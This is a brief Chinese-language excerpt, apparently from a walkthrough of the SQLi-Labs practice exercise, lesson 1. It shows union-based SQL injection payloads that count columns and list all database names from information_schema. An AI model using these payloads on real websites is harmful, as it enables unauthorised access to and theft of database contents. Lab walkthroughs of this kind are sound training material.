sqli labs通關祕籍

lesson 1 查看列數 id=1' order by 3 id=1' union select 1,2,3 --+web 利用information_schema查詢全部數據庫名 ?id=-1' union select 1,2,group_concat(distinct+table_schema) from information_schema.tables --+sql 根據數據庫名查找表

>>阅读原文<<